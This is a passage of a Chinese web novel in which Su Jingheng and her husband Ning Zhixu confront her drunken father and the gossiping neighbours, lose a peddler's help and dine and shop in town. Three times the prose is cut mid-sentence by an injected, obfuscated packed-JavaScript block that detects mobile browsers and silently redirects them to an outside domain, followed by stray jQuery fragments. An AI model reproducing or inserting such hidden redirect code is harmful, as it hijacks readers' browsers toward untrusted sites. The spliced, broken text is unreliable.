院门半掩着,外面偶尔传来几声犬吠,隔壁几家忽然之间都有了动静,女人们干完了家里的活,提着一篮子菜坐在自家门口的树下择菜聊天。
聊的话无非是苏家女儿嫁人,宁二郎娶妻的闲事。
才过了两天,一切如田地里新生的菜苗,打着露水,还新鲜不得了。
按道理,这事还能再说一个月,若期间谁家有亲戚朋友来此投宿,那便不止一个月了,说三个月半年也正常。
一群人晒着太阳说说笑笑聊得极欢,有时候也长吁短叹几声,为这件事道一声可怜可惜,然后要不了一会,又重新笑起来,说点其他的奇事。
苏静蘅一声不吭地听着。
说话的人她都认识,哪一道声出自哪个人,她分辨的清清楚楚。
没一会儿一道尖锐的声音响起,伴着几声沙哑的笑,那几人的对话传进院子里:
“我跟你们说件你们都不知道的事。”
“什么事?”
“你们可知道,那孩子她娘当初为什么要离开咱们城绣帮?”
其余人皆十分好奇:“为什么?”
“因为她得罪了人!得罪了绣帮的大东家!”
此话一出,众人神色各异,有人不信,问道:“怎么得罪的?我记得她不是张扬的性子,从不在外边惹麻烦,当年还在的时候,整天笑吟吟地对着我们,有什么事都愿意帮忙,这样的人哪会主动惹事,你是不是搞错了?”
“哎呀,就是知人知面不知心啊,她勾引人家绣帮东家的女婿,被发现赶出来了,不然你说她为什么放着好好的绣帮绣女不做非要回家做一个散工?咱们城的绣帮比不上她娘家那地方的绣坊,但也是好地方,给的钱可是不少的!”
“不可能吧……”
“怎么不可能!我姑表姐也在绣帮做工,她亲口跟我说的,说是绣帮东家招的那个女婿,就是城西姓王的药铺掌柜的那个大儿子,和她好上了!这事被揭发出去,她没脸在绣帮里待了,只好回家。便是回家之后,她也不敢跟绣帮扯上关系,做什么事都绕着绣帮走,绣帮的生意那可是大呀!所以她后来没有生意做,挣不到什么钱了,你们瞧瞧,她女儿不也是受了她牵连,进不了绣帮,只能自己绣点帕子拿到市上去卖么?哎!一个人害了一家子,真是造孽啊!”
话说得是有鼻子有眼儿,听起来跟个真的似的。
独宁知序听见这话,气得扔下木桶撸起袖子:“这些人怎么就好在背后嚼人舌根子!你别气,我去帮你教训她们!”
他正要开门出去,苏静蘅忽然伸手拽住他袖口。
“嗯?”
她冲他摇摇头,并没有什么动作。
为什么拦住他?
宁知序满心疑惑,却见苏静蘅这时回头,居高临下地看着地上的人,冷冷发问:“你可听见外边那些话了?”
到底是喝多了酒,醉得发昏,眼睛都有点睁不开,苏静蘅走近他,身影遮住天上的太阳,在他脸上投下一片阴影。
望着眼前模糊的脸,苏父喃喃回应:“听……听见了……”
“听见了你为什么没有反应?为什么不出去解释?为什么不去替我娘出口气?”
“我……”
苏静蘅问:“为什么?娘走的时候你明明答应她的,你说以后会好好过日子,会好好对我,为什么?为什么要这么做?”
仍旧没有回答。
她瞧他这模样,忽然为自己感到不值,从前多少日子她都捱过来了,偏偏到了这个时候她觉得受不了。
她明明那么好说话,平日一两句好话就能让她高兴,可现在他连解释都不愿意解释。
装疯买醉,这样就有用了吗?这样就能消除他犯下的过错,当做什么事都没有发生过吗?
她的命才没有那么贱,她不该被这么对待。
“为什么要帮着外人欺负我?若是我因此丢了命,你心里是不是就高兴就痛快了,你说!你说啊!”
宁知序在一边缩着脖子不敢吱声,直到瞧见苏静蘅忽然蹲下身气势汹汹地揪住她爹的衣领使劲摇晃不停质问,被吓了一跳,来不及多想,赶忙上前把她拉开。
他第一次看见她这幅模样,明白她这几日受了委屈一直憋着,如今再听到那些议论的话,憋不住了,一下子爆发出来。
他也知道她不愿意这样。
今日收拾地干干净净整整齐齐地出门,拿了信,又得了许多其他东西,待会儿便去街上市上玩,她没打算在这里浪费工夫,白费眼泪,可见到眼前情形根本忍不住。
宁知序将苏静蘅拽到怀里,双臂紧紧抱住宽慰她,边说,边转过身将两个人隔开。
他不会安慰人,只得从肚子里翻找出一些从别的地方听来的话,轻声对苏静蘅说:“莫气莫气,气坏身子了那多不值,我们今天带够了钱,就是要好好逛好好玩的,何必为不相干的人生气呢?”
“觉得不高兴,想怎么发泄都行,只是别这样,不然若是待会儿想起来还是不高兴,伤的仍旧是你自己对不对?”
她现在失了理智,做任何事都由不了自己,要是待会清醒一点她还要这么做,他自然不会拦她,不仅不会拦她,只要她想,还会帮她一起踹她爹一脚。
宁知序想她现在心里气急,总要发泄出来,干脆把自己胳膊伸到她面前说:“喏,要不你咬我,我皮糙肉厚的,咬起来绝对嘶——哎哎哎哎!你怎么还真咬我!”
苏静蘅咬住他的手臂,一动不动。
胳膊就在眼前,顺嘴就咬上了,反正他也说可以让她咬,那她就咬嘛,下嘴的时候劲确实大了点,但又不是真想咬掉他一块
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411679|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肉,她还是有分寸的。
宁知序感受到胳膊上的力道变小,尝试收回,谁料苏静蘅察觉到他要把胳膊撤走,顺势又用力咬上了。
宁知序龇牙咧嘴,登时放弃挣扎。
两人就这样僵持了一会,苏静蘅渐渐冷静下来,才松嘴。
宁知序收回手臂,立刻为她递上绢子供她擦眼泪,顺便小声问:“好啦?不生气啦?这样才对嘛,走,我请你去吃好吃的,哼,不给他吃!以后咱俩吃香的喝辣的,哼,都不给他吃!气死他!咱们过好日子去!”
“……”
苏静蘅闻言嗔怪地看着他,这下被他惹得真是一点生气的心思都没有了,宁知序笑嘻嘻地说:“噢,还有外边那些人,不用你动手,我帮你教训她们好不好?”
“不要。”
苏静蘅直言拒绝。
用他给的绢子擦擦眼泪,而后深吸一口气,头也不回对着身后的人说:“我们这辈子的情分此番就算彻底尽了,最后借你家东西一用,日后不会再回来打扰你,也望你日后不要来找我。”
说多了他听不懂,倒不如长话短说。
宁知序说得也对,她没必要再为这人伤心难过,尤其是见了他现在这样,说什么都没用,她更应该开开心心去过自己的日子才是。
说完她去院门后重新提了个木桶,又去东边灶屋门口的水缸里舀了满满一桶水,出了院子就这样奔着隔壁那棵老树走去。
树下择菜聊天的那几人,上一刻还笑作一团,聊着张家长李家短的事,下一刻看见苏静蘅,各个脸色青一阵白一阵,想到自己先前说的话可能都被她听去了,都被吓得不轻。
这里人谁不知道苏家小丫头不好惹,旁人待她三分好,她回别人六分好,同样,别人对她三分恶,她必回别人六分恶,不论什么情,她对别人都是只会多不会少。
看她现在这样子,分明就是想要闹事。
胆子小的已经拎着菜篮子站起来跑了,胆子大的还坐着,故意问她:“你回家看你爹啊,他为了你的事伤心得不得了,从昨日开始就一直借酒消愁,你该去劝劝他!”
苏静蘅冷笑一声,站在她面前,道:“多谢婶子好意,你这么爱多管闲事,我今日特地备了份谢礼,还请婶子收下。”
“啊?”
苏静蘅不等她有什么反应,提起那桶将里面的水照着她脑袋狠狠浇下。
说桶里是水,其实也不完全对,实际是放了几个月,集秋日雨水,冬日雪水,还有春日生的各种水草,长腿爬虫于一体的浆糊。
从头顶酣畅淋漓地淋下,便是从头发丝到脚后跟都沾满了各种污秽,没有一处幸免。
苏静蘅浇完,直接将桶罩在她脑袋上,提着她的衣领警告:“从前我住在这儿,为了邻里和睦不曾与各位翻过脸,现在我不住这儿了,日后无需顾着你们的脸面,要是再被我听见你们说我娘的坏话,那下次送的礼可就不会像这次的这么简单,听见没有!”
19. 书信(三)
宁知序跟在她身后,见这情形心道她手劲可真大!
这么大个人坐在矮凳上坐得好好的,就被她这么轻轻松松拎起来了,头上还罩着个桶呢,那桶也不轻,一人一桶加起来简直赛一头猪!
苏静蘅手里拎着一个,环顾四周,对着剩下那几人道:“你们爱听旁人家的家事,那我今天就告诉你们,我娘是清白的,招惹她的人早在我娘离开绣帮的第二个月就遭了报应,掉下水淹死了,我劝你们说话做事守点德行,别像那个登徒子一样遭了天谴才知道后悔。今日冤有头债有主,我只收拾她一人,你们这些人要是还敢在背后说人闲话,下次我连你们一起教训!”
她也知道这几人并非都罪不可赦,有为她娘说话的,她自然不会对她们怎么样。
不过背后嚼人舌根子实在不讨喜,也该提醒提醒她们,不要和人品不端的人为伍,否则必受牵连。
“不说不说!我们一定不说了!”
那几人纷纷摇头。
她们哪敢再说,到时候真把这丫头惹毛了,打起来鱼死网破两败俱伤,她们说出去也没脸!
苏静蘅撒手,冲她们冷哼一声,不想多留,提步要走。
可桶下之人哪想放过她,被浇了一身污秽,才换的新衣服这就不能穿了,实在气得不行,摘了木桶,骂骂咧咧抄起凳子便朝着她冲过去,今天非要跟她争个高下,势必教教她做人的规矩。
苏静蘅知道宁知序不会坐视不理,听见动静没回头,放心大步地离开。
果然,宁知序刚想跟上去,又见还有这么一出,眼疾手快,趁那人不注意,站在路边腿一伸,直接将她绊了狗啃泥。
“婶子您心里知错认错就够了,不必给我娘子磕头道歉,我娘子啊,为人最是大度,见不得你们如此。”
“你!”
“既然婶子诚心认错,我们就不得理不饶人了,这桶就劳您送回去,我跟我娘子就先走了!下次回来,必再问候您。”
宁知序绊了她,又好心将她扶起来,捏着她胳膊的那只手微微用力,“咔哒”一声响起,带着几声凄惨的叫喊声,他松手,掸掸衣袖潇洒离开,独留身后几人面面相觑,不敢轻易上前。
苏静蘅听见哭喊声,愣了愣,停下脚步等宁知序,见他追上来,忍不住问:“你把她怎么了?没把人弄坏吧?”
“放心,我有分寸,右臂脱臼而已,我没上什么力道,找个大夫很快就能接上,也不会落下病根。”
苏静蘅这才放心:“教训归教训,千万不能闹出人命,不然就成我们不占理了。”
宁知序笑了笑:“便是真伤她,也找不到我们头上。”
“为何?”
宁知序挑眉。
他想说打狗也要看主人,整个洛城谁敢招惹宁家的人?
他就算被扔出去了,到底还占个“宁家二公子”的名号,除了宁家没人能找他的麻烦。
不过话刚到嘴边,一想到像她这样心高气傲又护短的人,肯定是听不得这种话的,于是就没说出口。
苏静蘅见他笑而不语,没想太多,道:“你阴阳他那几句倒是不错,没想到你嘴皮子这么利索,咱们两个一起,今日可把她给气坏了!”
宁知序说:“何止啊,等她回过神想起来我这个瘟神扶过她,那才叫真晦气!跟她玩的好的那几个,这几天估计也不会理她了,从前背后议论别人,往后也该轮到别人议论她了——”
话说完,一道冷飕飕的目光落在他身上,宁知序瞬间抖了个哆嗦,拍拍自己的嘴说:“呸!我说错了,我不是那个意思,我的意思是——”
苏静蘅懒得听他的解释,既然自己说的话他压根没听进去,那她就不说了,以后再也不说了!
他爱怎么说自己就怎么说,反正她不多管闲事了。
苏静蘅撇下他就走。
“等等我!等等我!你脚不疼了?不疼了也走慢一点,还没到晌午,留点力气下午再用,不然走不动,回不去了怎么办?”
宁知序赶忙追上去,凑在她身边说了许多话,开着玩笑哄她两句,回到街上她脚步果然慢下来。
走得太快确实容易累,没到吃饭的点就已经想找个地方歇歇了。
宁知序见她一声不响地慢下来,问:“累啦?要不要我背你?”
“不要。”
哪能在这个时候让他背,而且光天化日之下,被别人看了多不好。
苏静蘅闷声往东市去,到那儿却刹住脚没继续往里边走,宁知序问她怎么停了,苏静蘅抿抿唇,道:“等个人。”
“什么人?”
“一个货郎,从前经常帮我叫卖东西,我找他有事。”
“货郎?”
宁知序立刻伸着脖子替她在人群里寻找。
他知道这些走街串巷的货郎平日里都是什么样的打扮。
小时候从府里跑出来到街上买糕点吃,没少遇见他们,各个身上背着各种稀奇古怪的玩意儿,招引小孩也招引大人。
他还记得有一次走在街上被忽悠着从货郎那儿买了许多风车,本想回家送给娘爹和大哥的,后来没来得及送出去,就被夫子没收了。
虽然挨了夫子一顿骂,可那些风车,似乎最后也是到了爹的手里。
既然到爹手里,那必然也到了娘手里,至于大哥那份,送不出去也没关系。
宁知序打着十二分的精神,约莫半柱香的工夫,瞧见一个穿得红艳艳的货郎出现在人群里。
他赶忙扯扯苏静蘅的袖子,问:“那个是不是?”
“是!”
苏静蘅立刻迎上去,远远叫了一声“杨叔”,那货郎听见声音朝这边看来,也是一惊,应道:“蘅丫头!你怎么在这儿?你不是应该出城了吗?”
“今日回来看看,下午便要回去了。”
货郎推着车走到面前,小心翼翼瞥了眼宁知序,问:“这位是?”
“这是我相公。”
宁知序原还沉默着跟在苏静蘅身边,一听她这么说,立刻挺直腰板,轻咳两声,故作淡定道:“杨叔好。”
“哦好好!”
货郎似乎有些为难,打完招呼寒暄两句就想离开,苏静蘅却拉住他,仔细问:“这两日可有人家招绣娘做工?”
“没有!”
货郎叹口气说,“蘅丫头啊,你这事闹得全城都知道了,我要是再为你吆喝叫卖,那旁人定然不敢买我的东西啊,你相公他——”
“我相公怎么了?”苏静蘅听他这语气,脸颊一热,瞬间觉得有一股气往头顶冲。
她知道他想说什么,无非就是“宁二郎不祥”“宁二郎扫把星”“宁二郎身带煞气”这些话。
这些糊涂的传言别人信也就罢了,他怎么也信呢?
从前外边那些针对她娘的传言到他耳里他也没有信过,为何偏偏这次就信了他们的话,难道他从前说过的话都忘记了?
不要从旁人的口中去了解一个人,谣言是伤人的东西,听信谣言便是杀人的帮凶!
这些可都是他说过的话!
她一直相信他的话,如他所说,她因缘巧合之下与宁知序认识,知道传言里的宁家二郎不是坏人,愿意为他说话,可没想到第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426785|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个要与之争辩的人竟然是杨叔。
苏静蘅忍不住辩解:“我相公好好的,不是他们嘴里说的那种煞星,杨叔您是好人,您知道我不会骗你的。”
货郎欲言又止,不敢把话说得太难听,态度也不敢太强硬,只说:“他们不待见你相公,连带着不待见你,我不能让他们也不待见我,日后帮你叫卖生意的事我就不做了,你重新找人帮你吧,喏,这几块帕子也还给你,咱们以后就不要再见了!”
他说完重重叹息一声,确认苏静蘅不会拦着他,才放心离开。
那几块帕子攥在手里,苏静蘅气得头发晕,但很快冷静下来,对着宁知序气道:“说别的事的时候你倒是能说,怎么每次说到这件事,你都跟哑巴了一样!你倒是解释几句啊,就这么白白让别人欺负你吗?”
这是欺负他?
宁知序颇为疑惑。
那货郎只是说城里人不待见他,也没骂他,没说他其他地方的不是,说到底只是有些嫌弃他,担心他给自己惹麻烦,选择明哲保身,算不上是欺负他吧。
苏静蘅将帕子塞到宁知序手里,拉着他干脆离开东市,边走边跟他说:“原想着给杨叔些好处,叫他以后再帮我们卖些东西,这下好了,他也不愿意和我们扯上关系,看来我们要另想法子了。”
她倒也没有怪罪杨叔,更没有怪罪宁知序的意思,只是可惜,可惜日后不能再和杨叔做生意。
其实来的时候她就做好了准备,知道这个时候不论是谁对她和宁知序都心有芥蒂,只是真被拒绝,心里难免还是有些伤心。
“抱歉。”
宁知序被她拉着走,不知道要去什么地方,苏静蘅没说一句话,他心底却始终不是个滋味。
他又拖累她了。
苏静蘅头也不回,刚才对他有多生气,这下就有多好说话,皱皱眉侧瞟他一眼,然后嘀嘀咕咕说:“行吧,其实倒也没什么大事,我知道杨叔为人,他这次拒绝我,回去心里肯定也不好受,可我不能逼着他帮我们卖东西,以后我们就自己来吧,免得再欠别人的人情。”
宁知序仍垂着头,苏静蘅又同他说:“你别太放在心上,我和杨叔之间的生意没你想的那么大,其实就是托他走街串巷的时候帮我吆喝几声,问问谁家需要绣娘,他认识的人多,走的地方也多,能为我招来些生意,哪家嫁女儿,哪家娶媳妇,要绣喜被喜帕的,都可以把我介绍给他们,至于绣好的帕子嘛,都是我自己卖的!”
她将杨叔还回来的几块帕子塞到宁知序手里。
“这几个帕子都是绣的单独的样式,给杨叔随身带着,吆喝生意时若是有人来问,就拿给他们看,若是对我的绣工满意,便可下定金,第二天我便上门按照他们的要求做绣品。”
“原来如此……”
宁知序轻手抚摸那些帕子,突然问,“这些手帕你平日都卖多少钱?上门当绣娘又能挣多少,你——平日做这些累不累?”
“不累。”
要是能卖得出去,累点也没关系,可惜生意不是很好,嫁娶之事不是天天都有,便是有,轮到她头上的也很少。
帕子有时一天能卖出去好几块,有时连着好几天一块都卖不出去,毕竟普通人家不需要买太多绣花帕子,而那些富裕人家,都有自己的绣娘,不用买她这街头小贩的帕子。
宁知序没等到回答,摸了摸衣服荷包,然后抓起苏静蘅的手,拿出一枚玉戒指放在她手心,问:“这个够不够?”
“嗯?”
苏静蘅不解。
宁知序局促道:“这个,够不够你为我绣两个月的帕子?”
20. 书信(四)
他不是真的要她为自己绣两个月的帕子。
只是觉得既然她的生意受自己牵连,那自己就该对她负责。
这一段日子与他在一起少做多少生意,他用玉戒折给她,至于多出来的那部分,只要她能如她之前所说,为自己做身衣裳就好。
宁知序生怕她不要,玉戒塞到她手里,立刻将她的手握紧。
苏静蘅被他弄得哭笑不得,费了好大的力气才将手抽回。
“你这戒指还是挺好看的嘛。”
她背过身对着太阳仔细看了看戒指,碧色光泽入眼,手指所触摸之处是细腻光滑的触感。
“小时候读书认字得了夫子夸奖,我爹赏我的,不算贵重,但也能换些钱。”
不贵重?
苏静蘅心道她怎么看着挺贵重的。
不过也是,她长这么大没见过什么好玉,不是这方面的行家,见了这些东西只能用眼睛看看,说不出什么其他的门路。
贵重不贵重她说了不算,宁知序说什么就是什么吧。
“成啊。”
她一点不矫情,将戒指擦擦,用帕子裹起来放进随身蔑篓里就当是收下了,宁知序见状还没来得及高兴,便见她仰脸问自己:“戒指我收下了,你要我为你绣多少帕子?”
“我——”
宁知序喉结滚了滚,没回答。
非要他说个数目?
他不了解行情,说多了不好,说少了她也不乐意,要不让她自己选?
苏静蘅挑挑眉梢,见他暂时说不出个数目,道:“你不会是让我自己想吧?”
宁知序:“……”
苏静蘅似笑非笑,宁知序立刻说:“我那只是大概的意思,帕子什么的,做多少随你的意,不过得闲能不能给我做两身衣裳?我倒是挺想要身新衣裳的……”
“自然可以。”
苏静蘅干脆应下。
衣服本就是要做的,如今得了报酬,那她肯定要做得更尽心一点,待会儿吃完午食就去布庄瞧瞧,买点好料子回去,接下来几日不进城,便安心替他做两身衣服,嗯,也给自己做身新的,留着端午穿!
苏静蘅拉着宁知序的袖口说:“先找个地方吃点东西吧,吃完再看有什么需要添置的,到时买完东西直接回去,就不在城里多停留了。”
城东这一块不方便他们逛,若是被人认出来,恐怕连吃个午食都吃不成,两人商量一番,决定去城西的风雅斋吃,那地方没什么人认识他们,可以安心吃个午饭。
三爷给的那些银子都放在苏静蘅的身上,她带了一半出来,到风雅斋点了几道菜化了一两银子,找的铜板串好放回篓子里,就当做下午置办东西的家资。
苏静蘅将篓子放在桌上,等菜的工夫时不时掂量掂量篓子,心里止不住想,这日子也是好起来了,她都敢进酒楼吃饭,还点了好几道菜,要了酒喝!
宁知序说他不能喝酒,没法,她不能强求他,便只要了一小瓶。
菜没上齐,酒先送到面前,一个不大的小瓷瓶,摘了盖子一股清冽酒香扑鼻而来,她满足地长哼一声,问:“你真不喝呀?”
“不喝。”
宁知序冲她笑笑。
苏静蘅于是只顾起自己,斟酒浅尝一口,满足道:“真好……真香……”
她不是酒鬼,喝不了太多,只是惦念着酒味,小酌一口心里便觉得舒坦,怕宁知序想太多,喝完一小杯之后解释两句:“我也不大能喝酒,容易醉,但少喝两杯还是可以的,这儿不是风雅斋么,我听说那些文人寻求风雅,无非就是写诗作画喝酒,我在这儿只能喝酒,说到底也算半个文人吧!”
宁知序拿起酒瓶凑在鼻尖嗅嗅,神情没变,似乎对此不是很在意,默然替她重新倒满一杯,而后将酒瓶放回原处,道:“你绣工那样好,若是给纸笔,应当也不是不会作画?回头从市上买点纸笔回去,想写字还是画画都随你。”
一听要买纸笔,苏静蘅惊得不知道该说什么,连忙端起酒杯装作要喝酒的模样,嗫嚅道:“这好像不大一样。”
画倒是会画,但很少有机会在纸上正正经经地画,画技肯定比不得那些工于书画者。
“不一样?我瞧着倒是差不多。”
宁知序拿了他面前的空酒杯递过去同苏静蘅碰了碰杯。
他捧着空杯子喝空气,苏静蘅说:“有茶啊,你怎么不喝茶?”
“不喝。”
宁知序又笑笑,却在小二来上菜时打声招呼,向他要了壶开水。
“茶我也喝不得,喝了心里不舒坦,只能喝点白水。”
这也喝不得,那也喝不得,苏静蘅心里直道奇怪,但转念想到要买纸笔的事,便顾不得太多,脸上尽是掩不住的好奇与高兴。
趁着饭菜没齐,她将那几封信拿出来,挪到宁知序旁边的位置上给他看。
“这封,是我三岁的时候我姨母叫人送来的,喏,这个名字,岚英,是我姨母的名字。”
“可以啊,你这不是认识字吗?”宁知序紧盯着信,听见她磕磕绊绊照着信里的内容认字,不由挑眉。
苏静蘅见自己的目的达到,乐呵呵地哼道:“我是不识几个字,但是不是一个字都不识!这信上有些字我还是认得的,单拎出来我也能认。”
宁知序“喔”道:“那很厉害。”
苏静蘅连忙一只手指着信上的字认给他看,最先认出来的是几个人名,姨母沈岚英,舅舅沈风英,还有她娘,叫云英,这个“英”她绝对不会认错。
“我读过《三字经》,还知道点《千字文》呢,我自己的名字也能认得,不仅认得,我还会写!给你看——”
她用手指沾了水在桌上写自己的名字,除了有些歪歪扭扭,一笔一划都是对的,宁知序瞧了眼,明白她的用意,赶忙捧场:“这样好,所以你还是很有识字天赋的,该买些纸笔回去学写字,今天买纸笔的钱就算在我身上,咱们多买些!”
苏静蘅抿着嘴满面欢喜。
她竟还有这么不好意思的时候……
宁知序欲笑无言,拿着那几封信简单看了一遍,说:“这些信最近的已经是八年前的了,我看了眼,上面写你娘家原在穆阳城上水巷,姨母早些年就已经嫁人,有个孩子,比你大一岁,你舅舅也早就成亲,这封信上写他打算举家搬到学塾附近,不知后来有没有搬走,不过即便是搬走了,肯定也还在穆阳城,按照信
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444431|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上提到的地方去找,很快就能找着。”
他将信都收好还给苏静蘅,“你要是着急把信搜送出去,待会买了纸笔咱们就找个地方把信写了,然后找我朋友将信给他,不过宁家往穆阳城的商队——”
宁知序轻嘶一声,在桌子上拿手指算算日子,接着道:“宁家过穆阳的商队估计至少要等十天过后才出发,迟些送其实也行……”
“那今日就先算了,回去写,改日进城再送,我还没想好要怎么说,等回去你帮我参谋参谋吧。”
他能断文识字,肯定知道怎么写更好,有他参谋,她也不至于说错话,表错意。
“好。”
宁知序自是愿意,谈完,叫的饭菜正巧上桌,于是两人都不再说这些有的没的,心思登时都放在面前的菜上。
先上的是宁知序点的玉蝉羹,这菜的名字听起来是个虫,实际说的是像蝉翼一样薄透的鱼片,苏静蘅原不清楚这道菜是由鱼做的,以为他口味特殊,进酒楼第一件事是点个虫吃吃,因此心里惴惴不安许久,直到菜端上桌才知道自己想错了。
宁知序看她望着菜恍然大悟的样子,笑道:“你不会真以为这菜是蝉虫做的吧?”
“……”
苏静蘅心思被猜透也没觉得糗,白他一眼,说,“是又怎样?你看我对你多包容,以为你要吃虫,我都没阻止你,心想你一定有自己的道理,有我这么通情达理的人当朋友,你就偷着乐吧!”
宁知序闻言笑个不停,脑门子上挨了一筷子才收敛。
他连忙给苏静蘅盛了一碗鱼羹,道:“尝尝看,我娘喜欢吃这个,刚才瞧见牌子,想起来好几年没尝过他家的玉蝉羹了,今日既然有机会我们两个就一块儿尝尝,你要觉得好吃下次再来吃。”
苏静蘅舀了勺羹汤送入嘴中,乍一尝汤汁浓稠,口感顺滑,鱼肉浸满汁水,清透鲜甜,忙不迭点头,对他娘的口味表示赞同:“还真挺好吃的!”
鱼羹竟也能做出这般花样,要是能每天都能吃到就好了。
一天吃三顿,顿顿都吃肉,白肉红肉她都要吃,这简直是神仙过的日子啊!
苏静蘅做着白日梦,没几口就把碗里的鱼羹吃了个精光,宁知序又起身给她盛了一碗,嘱她慢些吃,留点肚子给下面的菜。
风雅斋的特色羊头签,肉丝酱瓜糟萝卜,蒿蒌菜,笋蕨小炒,都是她想吃的。
小二上齐了菜,道了声“二位客官吃好喝好”,连忙退出去,他们虽然是在大堂用饭,但每桌之间有屏风相隔,因此瞧不见其他桌的客人,用饭时也无人打搅。
苏静蘅一口酒一口肉的吃着,看起来饿得发狂,宁知序看了想笑,又自知一旦笑出声定然要得她一记白眼,或许还要挨一筷子打,于是努力憋着。
对面的人从碗里抬头,看他一眼,他以为自己笑得露馅了,立刻正襟危坐,然而苏静蘅只是嚼嚼嘴里的菜,咽下去,然后认真问他:“你怎么不吃啊?”
“在吃在吃。”
宁知序连忙动筷子,苏静蘅却忽然动手搛了一筷子肉放到他的碗里,随后继续吃面前碗里的菜,嘴巴塞得鼓鼓的,冲他一笑:“多吃些,好不容易来一趟,咱俩可都要吃饱!”
21. 点心(一)
苏静蘅恨自己没有两个肚子,才这么几道菜,吃了大半竟然就饱了。
她在心里说自己不争气,没能吃个三大碗。更气愤的是好不容易吃完了菜,休息的工夫,小二又端上来一盘瓜果,说是送的饭后点心。
虽然是不要钱的东西,小二介绍起来却依旧十分卖力,说他们店里瓜果有多甜,外边轻易吃不到,定要他们好好品尝,说得天花乱坠,那么好吃的东西她怎么能不尝呢?可偏偏肚子已经没有一点隙儿来盛放瓜果了。
宁知序问她还能不能吃得下。
苏静蘅摸着撑得又圆又硬的肚子对着那点甜瓜甜果干瞪眼,咬咬牙说:“能。”
“真能?”
“真能!”
较真的模样瞧得宁知序想笑。
他自然不会让她将这些东西硬撑进肚子里,把她撑坏了怎么办?
叫她先歇会儿,自己去问问送的瓜果能不能带走,那小二听了他的话,只点头哈腰,连忙叫人拿了个干净的竹筒出来,如此恭敬弄得宁知序都有些不好意思了,忙说:“不必你们动手,我自己来就好。”
小二也不多事,道了声“您拿好”,就去做自己的事。
宁知序拿着竹筒回到苏静蘅身边,将送的那点瓜果都装进竹筒,塞到她手里,说:“回去路上累了解渴吃。”
苏静蘅眼睛一亮,同他道谢。
宁知序连连摆手,笑嘻嘻地说:“客气客气,不是为你一人要的,我也要吃。”
风雅斋的甘瓜最是清甜可口,听说是南边特供,市面都还没上,先仅着他们酒楼送,偏偏他们是白送给客人吃的,就凭这点心意,这不大不小的酒楼,在洛城的名声也挺响亮。
苏静蘅之前没来过风雅斋,只听说这儿待客周到,今日一见才知道他们周到在何处。
日后若是还有机会来洛城酒楼吃饭,那肯定还选他们!
又歇了一会,两个人离开风雅斋回到市上,未时市上人比不得上午,但卖东西的小贩大多都还在,初春天候正好,风轻轻吹,日头也不毒辣,才过晌午没多久暂时没什么生意,一群小贩围在一起聊天说笑,也算得上热闹。
苏静蘅牵着宁知序袖子在道旁窜来窜去,这儿瞧瞧那儿看看,有人认出她,指着她同身边的人嘀咕几句,但没凑近冒犯,苏静蘅瞧了便当没看见,继续拉着人闲逛。
“你打算买些什么?”
各处她都瞧了瞧,却什么都没买,宁知序忍不住发问,苏静蘅沉思片刻,道:“我觉得我们应该先买个架子车。”
宁知序提着那桶走了一路,也不知他手累不累。
待会儿还要买许多东西,他们两个人两双手铁定拿不动,更别说还要走半个多时辰一个时辰回去。
刚才四处看了眼,倒是有木匠拿了自己打的东西来卖,不说那些箍的大大小小的木桶在道边摞得整整齐齐,就连靠着歇息的架子车也是明码标价,吆喝得明明白白。
“那人卖得比铺子里便宜五十文。”
那可是五十文,够她在酒楼再点两道菜了。
苏静蘅踮起脚尖贴着宁知序耳朵小声说,“这个价确实还行,算不上贵,去木匠铺单订一个可不止这么多钱了,要不买一个,待会儿也省点力气拿东西。”
宁知序说:“你做主就好。”
钱该花在哪里她心里都有数,又不是不惦记自己,自是没必要计较这些,更别说眼下花的不是自己的钱,是三叔给的银子,自然一点都不心疼。
他往旁边一站,要买什么全听她决定。
卖车的小贩远远看着他们二人嘀嘀咕咕一阵,而后似说好了一般,那女子独身往这边走来,他立刻起身相迎。
旁边有人提醒他:“跟宁家二郎那两口子做生意,小心晦气过到你身上,明儿卖不出去东西!”
做生意的最忌讳这些,出门前要拜老爷,回家也要拜老爷,哪日沾到晦气的东西,还要请师父去晦气,麻烦得不得了,一群人都好心劝他能避避就避避,不要给自己找不痛快。
卖车小贩高嗤一声:“你这话说得好像他这是要赖在我家跟我一块住似的!谁跟钱过不去啊?!他愿买,我就愿意卖,做生意要有做生意的样子!”
苏静蘅原还想找他砍砍价,听见他这话,当下不好意思砍得太狠,同他周旋两句,价讲不下去,就算了,潇潇洒洒地拿出铜板,自己数一遍,交到他手里,又让他数一遍。
